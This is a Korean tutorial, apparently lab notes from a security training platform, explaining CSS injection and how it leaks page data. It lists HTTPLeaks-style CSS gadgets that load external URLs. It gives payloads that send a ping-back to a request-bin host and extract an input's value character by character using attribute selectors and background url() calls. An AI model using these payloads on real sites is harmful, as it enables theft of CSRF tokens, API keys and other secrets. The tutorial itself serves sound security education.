CSS Injection
1. 서론
임의의 CSS 코드를 주입시켜
의도하지 않은 속성이 정의되는 것을
CSS Injection이라고 한다.
CSS Injection은
XSS와 비슷하게 웹 페이지 로딩 시
악의적인 문자열을 삽입하여
악의적인 동작을 이끄는 공격이다.
웹 페이지의 UI (생김새)를 변조하거나
CSS 속성의 다양한 기능을 통해
웹 페이지내의 데이터를 외부로 훔칠 수 있다.
데이터의 예로는 CSRF Token, 피해자의 API Key등
웹 페이지에 직접적으로 보여지는 값처럼
CSS 선택자를 통해 표현이 가능해야 한다.
HTML (style) 영역에
임의 입력 값을 넣을 수 있거나
임의 HTML을 삽입할 수 있지만
Content-Security-Policy로 인해
자바스크립트를 실행할 수 없는 등
다양한 환경에서 사용할 수 있다.
2. CSS Injection - 기초
2-1 IP Ping Back 하기
클라이언트사이드 공격을 통해
데이터를 외부로 탈취하기 위해서는
공격자의 서버로 요청을 보낼 수 있어야 한다.
CSS는 외부 리소스를 불러오는 기능을 제공한다.
예를 들어, 다른 사이트의 이미지, 폰트 등이 있다.
여러 방법이 존재하지만
cure53의 HTTPLeaks 가젯을 이용할 수 있다.
Figure 3. CSS Injection을 통한 h1 글씨 색 변경 결과
CSS 가젯 | 설명 |
@import 'https://leaking.via/css-import-string'; | 외부 CSS 파일을 로드한다. 모든 속성 중 가장 상단에 위치해야한다. 그렇지 않을 경우 @import는 무시된다. |
@import url(https://leaking.via/css-import-url); | url 함수는 URL를 불러오는 역할을 한다. 상황에 따라서 선택적으로 사용할 수 있다. |
background: url('https://leaking.via/css-background); | 요소의 배경을 변경할 때 사용할 이미지를 불러온다. |
@font-face { font-family: leak; src: url(https://leaking.via/css-font-face-src); } |
불러올 폰트 파일의 주소를 지정한다. |
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); | CSS에서 함수를 호출할 때 ascii형태의 "url"이 아닌 hex형태인 "\000075\000072\00006C"도 지원한다. |
- 위 가젯 중 하나를 사용해 페이지 내에서 외부 서버로 요청을 보낼 수 있다. 드림핵 툴즈 "Request Bin"을 이용
- 개발자 도구를 미리 띄워두고, Network 탭에서 요청을 기로한다.
- yellow; background: url("https://einyznh.request.dreamhack.games/Ping-Back"); 발급받은 서브 도메인 주소로 body의 background를 설정한다.
- 개발자 도구에서 실습 모듈에서 드림핵 툴즈로 보낸 요청을 확인하고, 드림핵 툴즈 사이트에서 한번 더 확인
Figure 4. CSS Injection을 통해 외부 서버로 보낸 요청
Figure 5. CSS Injection을 통해 보낸 요청을 외부 서버에서 확인
2-2 입력 박스 내용 탈취
Attribute Selector를 통해
입력 박스(Input)의 값 (Value)를 탈취하는 방법
CSS Attribute Selector (특성 선택자)는
Element의 Attribute를 Selection할 수 있는 기능을 제공한다.
Figure 6. 특정 선택자 구문
구문 | 설명 |
[attr] | attr 이라는 이름의 특성을 가진 요소를 선택한다. |
[attr=value] | attr 이라는 이름의 특성값이 정확히 value인 요소를 선택한다. |
[attr~=value] | attr 이라는 이름의 특성값이 정확히 value인 요소를 선택한다. attr 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있다. |
[attr^=value] | attr 이라는 특성값을 가지고 있으며, 접두사로 value가 값에 포함되어 있으면 이 요소를 선택한다. |
[attr$=value] | attr 이라는 특성값을 가지고 있으며, 접미사로 value가 값에 포함되어 있으면 이 요소를 선택한다. |
[attr^=value]을 이용하면
입력 박스 내용을 탈취할 수 있다.
- [attr^=value] 구문을 이용해 가장 첫 한 글자를 먼저 탈취
- 1에서 탈취한 글자를 접두사로 그 다음 한 글자를 탈취
- 1-2를 반복
위 순서를 진행하는
중간 과정의 페이로드이다.
개발자 도구 Network 탭을 확인 하여
탈취하려고 하는 내용이
S3CR3T_으로 시작하는 것을 알 수 있다.
yellow; } input[value^=S3CR3T_] { background: url("https://wfsbzct.request.dreamhack.games/lols");
3. 정리
- CSS Injection: XSS와 비슷하게 공격자의 문자열을 웹 페이지 로딩 시 삽입하여 악의적인 동작을 이끄는 공격, CSS의 기능을 갖고 데이터 탈취가 가능함
- url(), background: CSS의 기능을 이용해 특정 선택자가 만족할 경우 외부에 요청을 보낼 수 있음
- Attribute Selector (특성 선택자): HTML Element 특성에 선택자를 지시 할 수 있음. ^구문을 이용하여 데이터를 한 글자씩 알아낼 수 있음